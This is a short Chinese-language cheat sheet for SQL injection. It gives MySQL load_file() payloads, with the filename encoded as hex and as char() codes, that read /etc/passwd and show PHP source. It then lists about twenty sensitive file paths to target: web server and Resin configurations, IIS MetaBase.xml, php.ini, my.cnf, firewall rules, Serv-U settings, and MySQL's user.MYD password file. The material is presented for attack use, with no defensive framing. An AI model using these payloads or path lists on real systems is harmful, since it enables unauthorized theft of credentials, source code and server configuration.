1、 replace(load_file(0x2F6574632F706173737764),0x3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
3、 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
4、/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件
12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
14 、/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
15、 /etc/sysconfig/iptables 本看防火墙策略
16 、 usr/local/app/php5/lib/php.ini PHP 的相当设置
17 、/etc/my.cnf MYSQL的配置文件
18、 /etc/redhat-release 红帽子的系统版本
19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
21、/usr/local/app/php5/lib/php.ini //PHP相关设置
22、/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini